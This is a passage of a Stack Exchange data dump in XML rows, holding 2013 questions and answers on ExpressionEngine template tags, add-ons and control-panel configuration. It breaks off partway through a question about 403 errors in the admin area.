  <row Id="12558" PostTypeId="1" AcceptedAnswerId="12590" CreationDate="2013-08-07T17:16:53.497" Score="1" ViewCount="74" Body="&lt;p&gt;I've taken over a site created in EE and transferred it to my host. Since doing so, the addon tabs are linking incorrectly. What I mean is that on click it sends the admin to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?S=b84310dd48d074edf67c8d6c44848df407c64147&amp;amp;D=cp&amp;amp;C=addons_modules&amp;amp;M=show_module_cp&amp;amp;module=structure&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Rather than sending the admin to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;admin.php?S=b84310dd48d074edf67c8d6c44848df407c64147&amp;amp;D=cp&amp;amp;C=addons_modules&amp;amp;M=show_module_cp&amp;amp;module=structure&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All default admin area links work fine, it is just Structure and rEEservation that have this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I insure they link to the correct url? &lt;/p&gt;&#xA;" OwnerUserId="1085" LastEditorUserId="69" LastEditDate="2013-09-10T08:01:05.150" LastActivityDate="2013-09-10T08:01:05.150" Title="Add-ons are linking incorrectly in control panel" Tags="|add-on|control-panel|url|addons|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12560" PostTypeId="2" ParentId="12555" CreationDate="2013-08-07T17:33:05.210" Score="3" Body="&lt;p&gt;You said that your problem is to make the URL's point to the right template. If you don't mind about to have 10 entries from both channels, instead of 5 of every one, you can merge the variable pair and use a conditional.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:tag:related_entries url_title=&quot;{segment_3}&quot; channel=&quot;channel_A|channel_B&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; limit=&quot;10&quot; paginate=&quot;bottom&quot;}&#xA;  {if channel_short_name == &quot;channel_A&quot;}&#xA;    &amp;lt;a href=&quot;{url_title_path='channel_A_template_group/template'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;  {/if}&#xA;  {if channel_short_name == &quot;channel_B&quot;}&#xA;    &amp;lt;a href=&quot;{url_title_path='channel_B_template_group/template'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;  {/if}        &#xA;{/exp:tag:related_entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2013-08-16T16:28:24.783" LastActivityDate="2013-08-16T16:28:24.783" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12561" PostTypeId="2" ParentId="12558" CreationDate="2013-08-07T18:04:34.877" Score="1" Body="&lt;p&gt;Check the value of &lt;code&gt;$config['cp_url']&lt;/code&gt;, under &lt;strong&gt;Admin &amp;rarr; System Administration &amp;rarr; Config File Editor&lt;/strong&gt;. My guess would be that you have &lt;code&gt;index.php&lt;/code&gt; as the script name in there.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-08-07T18:04:34.877" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12562" PostTypeId="2" ParentId="12431" CreationDate="2013-08-07T20:07:09.780" Score="3" Body="&lt;p&gt;Had this problem too. Looks like they removed it from the default set-up. First thing to check is under 'themes/third_party/wygwam/lib/ckeditor/plugins' you have the 'justify' plugin installed.&#xA;If not just download it here (&lt;a href=&quot;http://ckeditor.com/addon/justify?page=1&quot; rel=&quot;nofollow&quot;&gt;http://ckeditor.com/addon/justify?page=1&lt;/a&gt;) and place the whole folder in the plugins folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next you need to be in 'system/expressionengine/third_party/wygwam/helper.php'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Around line 67 you'll see them setting up a multi-dimensional array in the 'tb_groups' function (this is where the CP Editor Configuration is pulling it's list of toolbar options from).&#xA;Add a new array like so &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array('JustifyLeft', 'JustifyCenter', 'JustifyRight', 'JustifyBlock')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Around line 577 you'll see them loading in some extra Plugins (there was 'wygwam' and 'readmore' in my file. You need to load the 'justify' extra in the same way.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$extraPlugins[] = 'justify';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should now have the 4 alignment options in the EE Wygwam editor configuration pages to drag and drop into your toolbar and those options should also display in both the EE new/edit entry pages and also in Safecracker forms.&lt;/p&gt;&#xA;" OwnerUserId="1854" LastActivityDate="2013-08-07T20:07:09.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12565" PostTypeId="2" ParentId="12218" CreationDate="2013-08-07T20:51:52.793" Score="5" Body="&lt;p&gt;Having recently upgraded an EE v1.6.8 site to v2.6.1, I had to re-save each of the Wygwam fields to fix the &quot;defer&quot; PHP notice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://website.com/manage.php?D=cp&amp;amp;C=admin_content&amp;amp;M=field_group_management&quot;&gt;http://website.com/manage.php?D=cp&amp;amp;C=admin_content&amp;amp;M=field_group_management&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="339" LastActivityDate="2013-08-07T20:51:52.793" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12566" PostTypeId="2" ParentId="12540" CreationDate="2013-08-08T00:01:28.230" Score="1" Body="&lt;p&gt;Found the culprit, a rougue htaccess rule: RewriteEngine On was commented out, uncomment and we're golden, apologies :)&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-08-08T00:01:28.230" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12567" PostTypeId="1" CreationDate="2013-08-08T00:56:30.997" Score="2" ViewCount="131" Body="&lt;p&gt;I'm experiencing two possible issues in the code below:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The if/else I have always sets &lt;code&gt;standard_image_width&lt;/code&gt; and &lt;code&gt;retina_image_width&lt;/code&gt; to the value in the last &lt;code&gt;{if:else}&lt;/code&gt;, regardless of whether or not it's correct; and&lt;/li&gt;&#xA;&lt;li&gt;Whatever that value turns out to be set to, it doesn't make it through to the &lt;code&gt;width=&quot;{exp:mx_jumper:out name='standard_image_width'}&quot;&lt;/code&gt; attribute on the &lt;code&gt;{exp:ce_img:pair}&lt;/code&gt; tag.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What I'm trying to do: Determine the size the image should be resized to, then create a standard and 2x retina versions using CE Image. &lt;code&gt;{blog_images}&lt;/code&gt; is a Matrix field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone see what might be causing these issues? Appreciate any help I can get…&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{blog_images}&#xA;    {!-- Get Image Size --}&#xA;    {if '{placement}' == 'sidebar'}&#xA;        {exp:mx_jumper:put name=&quot;standard_image_width&quot;}226{/exp:mx_jumper:put}&#xA;        {exp:mx_jumper:put name=&quot;retina_image_width&quot;}452{/exp:mx_jumper:put}&#xA;    {if:elseif '{size}' == 'full-width'}&#xA;        {exp:mx_jumper:put name=&quot;standard_image_width&quot;}750{/exp:mx_jumper:put}&#xA;        {exp:mx_jumper:put name=&quot;retina_image_width&quot;}1500{/exp:mx_jumper:put}&#xA;    {if:elseif '{size}' == 'text-width'}&#xA;        {exp:mx_jumper:put name=&quot;standard_image_width&quot;}500{/exp:mx_jumper:put}&#xA;        {exp:mx_jumper:put name=&quot;retina_image_width&quot;}1000{/exp:mx_jumper:put}&#xA;    {if:else}&#xA;        {exp:mx_jumper:put name=&quot;standard_image_width&quot;}500{/exp:mx_jumper:put}&#xA;        {exp:mx_jumper:put name=&quot;retina_image_width&quot;}1000{/exp:mx_jumper:put}&#xA;    {/if}&#xA;    {exp:mx_jumper:put name=&quot;image_{row_count}&quot;}&#xA;        &amp;lt;figure class=&quot;{placement} {size}&quot;&amp;gt;&#xA;            {!-- Retina --}&#xA;            {exp:stash:set name=&quot;retina_content_image&quot;}{exp:ce_img:pair src=&quot;{image}&quot; hide_relative_path=&quot;yes&quot; cache_dir=&quot;images/blog/retina&quot; filename_suffix=&quot;@2x&quot; width=&quot;{exp:mx_jumper:out name='retina_image_width'}&quot;}{aws_url}{/exp:ce_img:pair}{/exp:stash:set}&#xA;            {!-- Regula --}&#xA;            Size: {size}&amp;lt;br&amp;gt;&#xA;            Standard Image Width: {exp:mx_jumper:out name='standard_image_width'}&#xA;            {exp:ce_img:pair src=&quot;{image}&quot; width=&quot;{exp:mx_jumper:out name='standard_image_width'}&quot; allow_scale_larger=&quot;yes&quot; cache_dir=&quot;images/blog&quot; hide_relative_path=&quot;yes&quot; parse=&quot;inward&quot;}&#xA;                &amp;lt;img src=&quot;/assets/images/css/holder.png&quot; width=&quot;{width}&quot; height=&quot;{height}&quot; data-src=&quot;{made}&quot; data-src-retina=&quot;{exp:stash:get name='retina_content_image'}&quot; alt=&quot;{alt_text}&quot;&amp;gt;&#xA;            {/exp:ce_img:pair}&#xA;            {if caption}&#xA;                &amp;lt;figcaption&amp;gt;&#xA;                    {caption}&#xA;                &amp;lt;/figcaption&amp;gt;&#xA;            {/if}&#xA;        &amp;lt;/figure&amp;gt;&#xA;    {/exp:mx_jumper:put}&#xA;{/blog_images}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="436" LastActivityDate="2013-08-08T10:28:54.903" Title="Problems with CE Image, MX Jumper and parse order (I believe)" Tags="|parse-order|ce-image|mx-jumper|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12568" PostTypeId="2" ParentId="12567" CreationDate="2013-08-08T02:32:12.533" Score="3" Body="&lt;p&gt;You didn't say which version of EECMS you're using. Some versions have parsing issues on conditionals with single quotation marks. Or, maybe, your version of Matrix have one of this issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, first of all, try to replace them.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{placement}&quot; == &quot;sidebar&quot;}&#xA;    {exp:mx_jumper:put name=&quot;standard_image_width&quot;}226{/exp:mx_jumper:put}&#xA;    {exp:mx_jumper:put name=&quot;retina_image_width&quot;}452{/exp:mx_jumper:put}&#xA;{if:elseif &quot;{size}&quot; == &quot;full-width&quot;}&#xA;    {exp:mx_jumper:put name=&quot;standard_image_width&quot;}750{/exp:mx_jumper:put}&#xA;    {exp:mx_jumper:put name=&quot;retina_image_width&quot;}1500{/exp:mx_jumper:put}&#xA;{if:elseif &quot;{size}&quot; == &quot;text-width&quot;}&#xA;    {exp:mx_jumper:put name=&quot;standard_image_width&quot;}500{/exp:mx_jumper:put}&#xA;    {exp:mx_jumper:put name=&quot;retina_image_width&quot;}1000{/exp:mx_jumper:put}&#xA;{if:else}&#xA;    {exp:mx_jumper:put name=&quot;standard_image_width&quot;}500{/exp:mx_jumper:put}&#xA;    {exp:mx_jumper:put name=&quot;retina_image_width&quot;}1000{/exp:mx_jumper:put}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On the first &lt;code&gt;exp:ce_img:pair&lt;/code&gt; you forgot about the &lt;code&gt;parse&lt;/code&gt; parameter. You put it on the second one, but forgot on this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Retina --}&#xA;{exp:stash:set name=&quot;retina_content_image&quot;}{exp:ce_img:pair src=&quot;{image}&quot; hide_relative_path=&quot;yes&quot; cache_dir=&quot;images/blog/retina&quot; filename_suffix=&quot;@2x&quot; width=&quot;{exp:mx_jumper:out name='retina_image_width'}&quot; parse=&quot;inward&quot;}{aws_url}{/exp:ce_img:pair}{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="27" LastEditDate="2013-08-08T10:28:54.903" LastActivityDate="2013-08-08T10:28:54.903" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12569" PostTypeId="2" ParentId="12542" CreationDate="2013-08-08T02:58:56.777" Score="2" Body="&lt;p&gt;You could do it with &lt;a href=&quot;http://devot-ee.com/add-ons/matrix&quot; rel=&quot;nofollow&quot;&gt;Matrix&lt;/a&gt; and create a column for every possible piece of content, although it could get unwieldy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or maybe &lt;a href=&quot;https://github.com/iainurquhart/entry_widgets&quot; rel=&quot;nofollow&quot;&gt;Entry Widgets&lt;/a&gt; will do what you need.&lt;/p&gt;&#xA;" OwnerUserId="116" LastEditorUserId="27" LastEditDate="2013-08-08T09:49:24.793" LastActivityDate="2013-08-08T09:49:24.793" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12570" PostTypeId="1" AcceptedAnswerId="12634" CreationDate="2013-08-08T07:32:28.250" Score="2" ViewCount="972" Body="&lt;p&gt;My client wants to hold its PDF documents library for reference and easy-always-wherever access. The problem is that the library holds more than a thousand study documents. It's impossible to manually create an entry for each document, so I was wondering if there's a simpler way to just create a list of links for every document in a specific folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice that the &quot;entries&quot; won't have a link to a special page, or comments, description, don't need to show creation date or any other metadata. It would be sufficient with just a link to the PDF and that's it.&lt;/p&gt;&#xA;" OwnerUserId="1695" LastActivityDate="2015-09-10T05:24:17.883" Title="Create (generate) download links from files on server" Tags="|plugin|list|files|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12571" PostTypeId="1" AcceptedAnswerId="12840" CreationDate="2013-08-08T08:22:27.657" Score="0" ViewCount="89" Body="&lt;p&gt;I currently have a build in progress and am trying to achieve somthing that seems to be simple but is proving not quite so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to list say 50 entries, those 50 entries should be in a chronological order of either entry_date or last_comment_date. Using entry_date is fine for strict chronological but I'm also looking to see last_comment_date as well. If last_comment_date is newer then anothers entry_date then it should be higher up the tree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;code&gt;orderyby=&quot;most_recent_comment|entry_date&quot;&lt;/code&gt; yields most recent comments first then lists by entry date which isnt what is required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I basically want to order by the last activity date - comment or entry. Is this approach possible ?&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-08-17T06:13:28.033" Title="orderby the last activity date" Tags="|date|entries|orderby|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12572" PostTypeId="2" ParentId="12570" CreationDate="2013-08-08T09:39:03.840" Score="1" Body="&lt;p&gt;It can be possible with the PHP code within the template. Just create a template with &quot;Allow PHP?&quot; as &quot;Yes&quot; and use following code example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$library_dir = &quot;/library/directory/path/&quot;;&#xA;&#xA;$pdfs = glob($library_dir . &quot;*.pdf&quot;);&#xA;&#xA;foreach($pdfs as $pdf)&#xA;{&#xA;    echo &quot;&amp;lt;a href='[YOUR SITE URL]&quot;.$pdf.&quot;'&amp;gt;&quot;.$pdf.&quot;&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope, it would help you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-08-08T09:39:03.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12573" PostTypeId="2" ParentId="12570" CreationDate="2013-08-08T09:57:22.220" Score="2" Body="&lt;p&gt;You could use Channel Files or Assets and have all of those documents attached to 1 single entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Avoid using raw PHP in templates. If you must use PHP, extract it to a plugin.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-08-08T09:57:22.220" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12574" PostTypeId="2" ParentId="12558" CreationDate="2013-08-08T09:58:57.023" Score="1" Body="&lt;p&gt;Reset the shortcut tabs and it'll be fine.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-08-08T09:58:57.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12575" PostTypeId="2" ParentId="12555" CreationDate="2013-08-08T10:03:53.650" Score="2" Body="&lt;p&gt;If your template group names match the short name of your channels then simply use {channel_short_name}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you could do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:tag:related_entries url_title=&quot;{segment_3}&quot; channel=&quot;channel_A|channel_B&quot;  orderby=&quot;date&quot; sort=&quot;desc&quot; limit=&quot;10&quot; paginate=&quot;bottom&quot;}&#xA;   &amp;lt;a href=&quot;{channel_short_name}/template'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;{/exp:tag:related_entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-08-08T10:03:53.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12576" PostTypeId="1" AcceptedAnswerId="12585" CreationDate="2013-08-08T10:44:22.827" Score="1" ViewCount="57" Body="&lt;p&gt;I Have a freemember form. I originally had a comments text area coded manually:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;textarea name=&quot;register_comments&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this meant that the field emptied if you submitted the form with a required field empty. To get round this I'm trying to generate the field using a field tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{field:register_comments}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this outputs a text input rather than a text area. I've made sure that the field is set to 'Text Area' in the EE admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way round this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1867" LastEditorUserId="150" LastEditDate="2013-08-08T16:52:25.207" LastActivityDate="2013-08-08T16:52:25.207" Title="Freemember field helpers textarea" Tags="|freemember|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12577" PostTypeId="1" CreationDate="2013-08-08T12:05:59.930" Score="2" ViewCount="537" Body="&lt;p&gt;This code comes from 1.6 days. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:weblog:entries weblog=&quot;static&quot; sort=&quot;asc&quot; offset=&quot;1&quot; dynamic=&quot;off&quot;}&#xA;     {if static_parent_page==&quot;0&quot;}     &#xA;      &amp;lt;li&amp;gt;&#xA;       &amp;lt;a class=&quot;active&quot;href=&quot;{url_title_path=static/three_tier_d}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;       {reverse_related_entries weblog=&quot;static&quot;}&#xA;        {if count==1}&amp;lt;ul&amp;gt;{/if}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a  class=&quot;active&quot; href=&quot;{url_title_path=static/three_tier_d}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {if count==total_results}&amp;lt;/ul&amp;gt;{/if}&#xA;       {/reverse_related_entries}&#xA;      &amp;lt;/li&amp;gt;&#xA;     {/if}&#xA;    {/exp:weblog:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since relationships was overhauled in 2.x, the &lt;strong&gt;reverse_related_entries tag&lt;/strong&gt; in the above doesn't work. I need help to re-code it for EE 2.6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Full page code is at:&#xA;&lt;a href=&quot;http://www.train-ee.com/images/weblog/static_content_approach_d_activeclass.txt&quot; rel=&quot;nofollow&quot;&gt;http://www.train-ee.com/images/weblog/static_content_approach_d_activeclass.txt&lt;/a&gt;&#xA;The result of the code is this page:&#xA;&lt;a href=&quot;http://www.train-ee.com/courseware/static/three_tier_d/&quot; rel=&quot;nofollow&quot;&gt;http://www.train-ee.com/courseware/static/three_tier_d/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a nutshell, the snippet does the following...&#xA;Each entry has a special field called &lt;strong&gt;static_parent_page&lt;/strong&gt;. If it isn't set, then the field is 0 and thus a top level navigation link. If the field is set to another entry, then we assume it is a child entry. So the code will display every child entry of a parent entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A 1000 thanks for helping with this!&lt;/p&gt;&#xA;" OwnerUserId="1349" LastActivityDate="2013-08-09T13:50:30.313" Title="Replacement for reverse_related_entries in 2.x" Tags="|relationships|navigation|reverse-related-entries|parent|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12578" PostTypeId="2" ParentId="12577" CreationDate="2013-08-08T13:12:12.843" Score="3" Body="&lt;p&gt;You'll need the name of the relationship field on your parent entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of using &lt;code&gt;static_parent_page == 0&lt;/code&gt;, try a namespaced &lt;code&gt;no_results&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;static&quot; sort=&quot;asc&quot; offset=&quot;1&quot; dynamic=&quot;off&quot;}&#xA;  {static_parent_page}&#xA;    {if static_parent_page:no_results}&#xA;      &amp;lt;li&amp;gt;&#xA;       &amp;lt;a class=&quot;active&quot; href=&quot;{url_title_path=static/three_tier_d}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;       {parents field=&quot;static_parent_page&quot;}&#xA;        {if count == 1}&amp;lt;ul&amp;gt;{/if}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a class=&quot;active&quot; href=&quot;{parents:url_title_path=static/three_tier_d}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {if count == total_results}&amp;lt;/ul&amp;gt;{/if}&#xA;       {/parents}&#xA;      &amp;lt;/li&amp;gt;&#xA;    {/if}&#xA;  {/static_parent_page}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html&quot; rel=&quot;nofollow&quot;&gt;documentation about relationships&lt;/a&gt; is really good.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2013-08-09T13:50:30.313" LastActivityDate="2013-08-09T13:50:30.313" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12579" PostTypeId="1" AcceptedAnswerId="12583" CreationDate="2013-08-08T13:14:00.960" Score="2" ViewCount="105" Body="&lt;p&gt;Is there a conditional to check if a modifier has been chosen? I am trying to create a notification to inform the user the need to choose a modifier before trying to add the product to their cart.&lt;/p&gt;&#xA;" OwnerUserId="940" LastActivityDate="2013-08-14T03:07:27.090" Title="Conditional to check if a user has chosen a modifer - Exp:resso Store" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12580" PostTypeId="2" ParentId="12533" CreationDate="2013-08-08T14:36:04.083" Score="3" Body="&lt;p&gt;This may be related to bug #19338 which was fixed in EE 2.6.1. There was also a manual fix that could be applied. See 19338 on the &lt;a href=&quot;http://userguides.ellislab.com/expressionengine/about/changelog.html&quot; rel=&quot;nofollow&quot;&gt;changelog&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1868" LastActivityDate="2013-08-08T14:36:04.083" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12582" PostTypeId="1" AcceptedAnswerId="12584" CreationDate="2013-08-08T16:18:44.290" Score="2" ViewCount="655" Body="&lt;p&gt;I have a Google Map generated from multiple entries and using Google Maps for ExpressionEngine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each entry can have multiple markers. Basically, each entry is an business with multiple locations. For logistical regions it is not practical to create a separate entry for each location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is how can I get the address info from each marker to output on my template. I can do it if there is only a single marker per entry by using the built in function to copy the formatted address to another field but since I have many markers in an entry this won't work.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-08-08T16:27:18.120" Title="Getting address detail from marker using Google Maps for ExpressionEngine" Tags="|add-on|google-maps-for-ee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12583" PostTypeId="2" ParentId="12579" CreationDate="2013-08-08T16:18:52.323" Score="2" Body="&lt;p&gt;I don't know if there is a variable you can use in a conditional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this would be easy to accomplish with jQuery. When the Add To Cart button is clicked, first check to see if a modifier is selected... if one isn't selected you can Alert your message so show an error on the page as needed.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-08-08T16:18:52.323" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="12584" PostTypeId="2" ParentId="12582" CreationDate="2013-08-08T16:27:18.120" Score="3" Body="&lt;p&gt;You could always try the &lt;code&gt;parse&lt;/code&gt; parameter. This will allow you to loop through the JSON data of each marker and output the formatted address as needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if this doesn't solve your issue and I will look a little deeper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://objectivehtml.com/google-maps/fieldtype#parse&quot; rel=&quot;nofollow&quot;&gt;https://objectivehtml.com/google-maps/fieldtype#parse&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-08-08T16:27:18.120" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12585" PostTypeId="2" ParentId="12576" CreationDate="2013-08-08T16:30:34.193" Score="2" Body="&lt;p&gt;You will want to use something along the lines of &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;textarea name=&quot;register_comments&quot;&amp;gt;&#xA;  {register_comments}&#xA;&amp;lt;/textarea&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To get the previously entered contents of the field.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-08-08T16:30:34.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12586" PostTypeId="1" AcceptedAnswerId="16668" CreationDate="2013-08-08T16:50:54.607" Score="5" ViewCount="1568" Body="&lt;p&gt;I'm running into a strange problem.  I have a site that is managed by a client.  A couple of days ago, they started noticing that things weren't working correctly in the admin.  I checked it and found that there were errors showing up in the dev console.  Here are the errors I get on the admin landing page:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;NetworkError: 403 Forbidden - ...admin.php?S=11606155886845716ce19d7cdde155fc5d604080&amp;amp;D=cp&amp;amp;C=javascript&amp;amp;M=load&amp;amp;file=css&amp;amp;theme=default&amp;amp;v=1312216958&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;NetworkError: 403 Forbidden - ...admin.php?S=11606155886845716ce19d7cdde155fc5d604080&amp;amp;D=cp&amp;amp;C=javascript&amp;amp;M=combo_load&amp;amp;ui=core,widget,mouse,position,sortable,dialog&amp;amp;plugin=ee_focus,ee_notice,ee_txtarea,tablesorter,ee_navigation&amp;amp;file=cp/global&amp;amp;effect=core&amp;amp;v=1312216960&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;NetworkError: 403 Forbidden - ...admin.php?S=11606155886845716ce19d7cdde155fc5d604080&amp;amp;D=cp&amp;amp;C=javascript&amp;amp;M=combo_load&amp;amp;file=cp/homepage&amp;amp;v=1312216960&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;NetworkError: 403 Forbidden - ...admin.php?S=11606155886845716ce19d7cdde155fc5d604080&amp;amp;D=cp&amp;amp;C=javascript&amp;amp;M=load&amp;amp;file=css&amp;amp;theme=default&amp;amp;v=1312216958&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;NetworkError: 403 Forbidden - ...admin.php?S=11606155886845716ce19d7cdde155fc5d604080&amp;amp;D=cp&amp;amp;C=javascript&amp;amp;M=combo_load&amp;amp;ui=core,widget,mouse,position,sortable,dialog&amp;amp;plugin=ee_focus,ee_notice,ee_txtarea,tablesorter,ee_navigation&amp;amp;file=cp/global&amp;amp;effect=core&amp;amp;v=1312216960&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;NetworkError: 403 Forbidden - 